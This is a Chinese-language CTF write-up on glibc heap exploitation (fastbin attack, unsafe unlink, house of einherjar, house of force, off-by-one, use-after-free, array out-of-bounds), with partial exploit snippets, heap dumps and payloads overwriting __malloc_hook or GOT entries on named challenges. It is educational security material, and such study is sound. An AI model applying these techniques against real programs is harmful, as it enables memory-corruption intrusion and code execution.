CTF PWN堆溢出的示例分析，相信很多没有经验的人对此束手无策，为此本文总结了问题出现的原因和解决方法，通过这篇文章希望你能解决这个问题。
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知识点
利用fastbin之间,单链表的连接的特性, 溢出修改下一个free chunk的地址, 造成任意地址写.
例子: 0CTF 2017 Babyheap
Fill功能可以填充任意长字节, 漏洞在此.
leak memory: libc address
modify __malloc_hook内容为one_gadget
getshell
重点: fastbin attack
First Step
alloc(0x60)
alloc(0x40)
0x56144ab7e000: 0x0000000000000000 0x0000000000000071 --> chunk0 header
0x56144ab7e010: 0x0000000000000000 0x0000000000000000
0x56144ab7e020: 0x0000000000000000 0x0000000000000000
0x56144ab7e030: 0x0000000000000000 0x0000000000000000
0x56144ab7e040: 0x0000000000000000 0x0000000000000000
0x56144ab7e050: 0x0000000000000000 0x0000000000000000
0x56144ab7e060: 0x0000000000000000 0x0000000000000000
0x56144ab7e070: 0x0000000000000000 0x0000000000000051 --> chunk1 header
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
Second Step
Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
0x56144ab7e010: 0x6161616161616161 0x6161616161616161
0x56144ab7e020: 0x6161616161616161 0x6161616161616161
0x56144ab7e030: 0x6161616161616161 0x6161616161616161
0x56144ab7e040: 0x6161616161616161 0x6161616161616161
0x56144ab7e050: 0x6161616161616161 0x6161616161616161
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071 --> 已修改为0x71
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
Third Step: 申请small chunk
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
0x56144ab7e080: 0x0000000000000000 0x0000000000000000
0x56144ab7e090: 0x0000000000000000 0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 --> chunk2 header
Fouth Step: 破坏chunk2 header, 最后目的是释放chunk2
Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ab7e000: 0x0000000000000000 0x0000000000000071
......
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
......
0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071 --> fake chunk header
Fifth Step: 修复chunk2 header, free
Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2
Free(2)
Dump(1)
0x56144ab7e060: 0x6161616161616161 0x6161616161616161
0x56144ab7e070: 0x0000000000000000 0x0000000000000071
0x56144ab7e080: 0x6262626262626262 0x6262626262626262
0x56144ab7e090: 0x6262626262626262 0x6262626262626262
......
0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111
0x56144ab7e0d0: 0x00007f26abbacb78 0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 将内容全部打印, 不会出现\x00截止)
0x56144ab7e0e0: 0x0000000000000000 0x0000000000000071
Sixth Step: 修改下一个free chunk为__malloc_hook
Free(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)
详解解析
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第二节(fastbin_dup_consolidate)
知识点
当topchunk size不足以满足申请的大小, 会合并fastbin的空闲chunk. 如若在不足: 主分配区调用sbrk, 增加top chunk大小; 非主分配区调用mmap来分配一个新的sub-heap.
got表中存放着函数的真实地址, 函数调用会去got表中查找函数地址, 然后跳转.修改got表对应函数的地址, 达到getshell目的.
double free: 释放两次内存, 可与Unlink搭配实现任意地址读写.
栗子:HITCON CTF 2016 SleepyHolder
程序分析
可以选择申请40, 4000, 400000三种不同大小的堆块, 每种只能申请一个. 400000会清空fastbin. 删除: 将相应的标志位置位0修改, 不检查相应的指针是否已释放, 造成Double Free.
重点
演示过程:
申请small secret、big secret
删除small secret
申请large secret
申请large secret之前
之后
详细解析
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第三节(unsafe_unlink)
知识点
unlink: 当freer两个相邻的small chunk时, 会发生合并的特性来攻击的. 合并后的chunk块放在双向链表构成的unsorted bin.
栗子:HITCON CTF 2014 stkof
程序分析
alloc:输入分配内存的大小
read_in： 写入任意长度, 漏洞在此
free：useless
重点
绕过size检查绕过指针检查
绕过size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");过程捋一下
> P=0x1307540, chunksize(P) = 0x20
> nextchunk(P) = 0x1307540 + 0x20 = 0x1307540 + 0x20
> prev_size = [0x1307540 + 0x20] = 0x20
> 0x20 = 0x20 , 绕过, 就是fake_chunk, 很好绕过的.
绕过指针检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \过程捋一下
> FD = [0x1307540 + 0x10] = 0x602138,
> BK = [0x1307540 + 0x18] = 0x602140
> FD->bk = [0x602138 + 0x18] = 0x1307540,
> BK-> fd = [0x602140 + 0x10] = 0x1307540
> P = 0x1307540
> FD->bk != P 为false
> BK->fd != P 为false
> 成功绕过
详细解析
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第四节(house_of_einherjar)
知识点
house_of_einherjar：该对利用技术可以强制使得malloc返回一个几乎任意地址的chunk, 主要在于滥用free中的后向合并.
栗子:Seccon CTF 2016 tinypad
程序分析
Add memo
Delete memo: 将指针释放, size位清零, 但没有将对应的指针清零.
Edit memo: 存在一个Off_By_One漏洞.
Quit
重点
通过利用Off_By_One和unlink, 修改unsorted bin的指针
1. 泄露
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)
2. house_of_einherjar
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2
edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin
详细解析
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第五节(house_of_force)
知识点
house_of_force:溢出top chunk, 返回任意地址.
top chunk:当bins 和 fastbin不能满足申请的大小时, 就会从top chunk分割相应的大小给用户. 例如: 第一次malloc时, fastbin 和 bins中并没有相应的空闲的chunk, 就会从top chunk中分配.
栗子:BCTF 2016 bcloud
程序分析
Welcome: 输入name, host, org.漏洞在此, 构造一定的输入, 可使程序复制过量的数据到相应的堆空间, 可修改top chunk size
New Note: malloc
Show Note: display
Edit Note: update
Delete: free
重点
name = "Bill"*0x10
org = "A"*0x40
host = p32(0xffffffff)
welcome(name, org, host)
前
后
原因
详细解析
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第六节(off_by_one)
知识点
Off_By_One: 意思就是我们能够多写入一个字节, 不要小看这个字节,有时候能够修改chunk header的状态.
栗子: Asis CTF 2016 b00ks
程序分析
Welcome: 输入一个author name, 这个地方存在Off_By_One漏洞, 溢出一个空子节.
Create a book: 创建一本书
Delete
Edit a book
Print book detail
Change current author name(再次编辑给了我们修改book指针的机会)Exit
漏洞位置
第一个影响: 信息泄露
第二个影响: 会修改堆地址
思路: 在修改后的堆地址布置一个fake chunk, 可以修改任意地址.
详细解析
文件详解
第七节(UAF)
知识点
Use After Free: 内存被释放后, 其对应指针没有被置为NULL, 再次使用有可能使程序崩溃. realloc: 重新修改分配空间, 源代码可以在文件下载链接中下载, 这个源代码不是很长.
申请的比原来大, 释放原来的指针, 重新申请内存.
申请的比原来小, 返回原始指针.
栗子:CISCN CTF 2018 task_supermarket
程序分析
struct node{
char name[16];
int price;
int size;
char* des;
}commodity[15];add
delete
list
change price
change description: 漏洞在此.当我们申请一个比原来的堆大的, 程序并没有更新原来的结构体中的des指针.若我们此时再次申请一个node[1], 而这个node[1]刚好落在node[0]的des区域, 我们就可以通过编辑node[0]的des来控制node[1].
思路验证
详细解析
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第八节(数组越界)
知识点
数组越界: 就是程序不见验证index的正负, 可能会出现向前覆盖的情况.例如:char *s = "hello,world"; 试一下 s[-1]
栗子: CISCN 2018 task_note_service
程序分析
add note: 没有对输入的index, 进行正负判断, 导致数组越界
show note
edit note
delete note
思路
修改free@got的值为shellcode的地址.
修改之前
修改之后
看完上述内容，你们掌握CTF PWN堆溢出的示例分析的方法了吗？如果还想学到更多技能或想了解更多相关内容，欢迎关注创新互联行业资讯频道，感谢各位的阅读！
分享标题：CTFPWN堆溢出的示例分析
文章起源：
http://www.cdkjz.cn/article/ippcei.html
